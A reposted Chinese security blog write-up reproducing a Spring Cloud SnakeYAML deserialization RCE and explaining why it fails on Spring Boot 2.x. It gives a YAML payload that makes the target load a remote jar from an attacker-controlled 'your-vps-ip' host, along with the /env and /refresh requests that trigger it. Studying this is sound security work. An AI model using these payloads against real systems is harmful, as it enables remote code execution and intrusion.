SpringCloud-SnakeYAML-RCE

admin 2024年10月28日23:59:40评论5 views字数 3494阅读11分38秒阅读模式

SpringCloud-SnakeYAML-RCE

利用条件

Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

漏洞复现

1.在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下

12345
!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://your-vps-ip/example.jar"]  ]]]

2.准备一个恶意jar,实现SPI,很简单如下

SpringCloud-SnakeYAML-RCE

3.设置 spring.cloud.bootstrap.location 属性

spring1.x

1234
POST /envContent-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring2.x

1234
POST /actuator/envContent-Type: application/json{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

4.刷新配置

spring 1.x

12
POST /refreshContent-Type: application/x-www-form-urlencoded

spring 2.x

12
POST /actuator/refreshContent-Type: application/json

SpringCloud-SnakeYAML-RCE

漏洞原理

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说

看几个关键的地方,处理 /refresh 接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh

SpringCloud-SnakeYAML-RCE

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值

SpringCloud-SnakeYAML-RCE

最后在 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

SpringCloud-SnakeYAML-RCE

SpringCloud-SnakeYAML-RCE

高版本无效

在Spring1.x版本当中

1234567891011121314151617181920212223242526
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {       StandardEnvironment environment = new StandardEnvironment();       MutablePropertySources capturedPropertySources = environment.getPropertySources();       Iterator var4 = capturedPropertySources.iterator();       PropertySource source;       while(var4.hasNext()) {           source = (PropertySource)var4.next();           capturedPropertySources.remove(source.getName());       }       var4 = input.getPropertySources().iterator();       while(var4.hasNext()) {           source = (PropertySource)var4.next();           capturedPropertySources.addLast(source);       }       environment.setActiveProfiles(input.getActiveProfiles());       environment.setDefaultProfiles(input.getDefaultProfiles());       Map<String, Object> map = new HashMap();       map.put("spring.jmx.enabled", false);       map.put("spring.main.sources", "");       capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map));       return environment;   }

在Spring2.x版本当中,却有限制

1234567891011121314151617181920212223242526
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {        StandardEnvironment environment = new StandardEnvironment();        MutablePropertySources capturedPropertySources = environment.getPropertySources();        String[] var4 = DEFAULT_PROPERTY_SOURCES;        int var5 = var4.length;        for(int var6 = 0; var6 < var5; ++var6) {            String name = var4[var6];            if (input.getPropertySources().contains(name)) {                if (capturedPropertySources.contains(name)) {                    capturedPropertySources.replace(name, input.getPropertySources().get(name));                } else {                    capturedPropertySources.addLast(input.getPropertySources().get(name));                }            }        }        environment.setActiveProfiles(input.getActiveProfiles());        environment.setDefaultProfiles(input.getDefaultProfiles());        Map<String, Object> map = new HashMap();        map.put("spring.jmx.enabled", false);        map.put("spring.main.sources", "");        map.put("spring.main.web-application-type", "NONE");        capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map));        return environment;    }

必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好

1
private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"};

结论

  • Spring Boot 2.x 无法利用成功
  • Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
  • Spring Boot <= 1.4 可利用成功

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日23:59:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringCloud-SnakeYAML-RCEhttps://cn-sec.com/archives/3315052.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息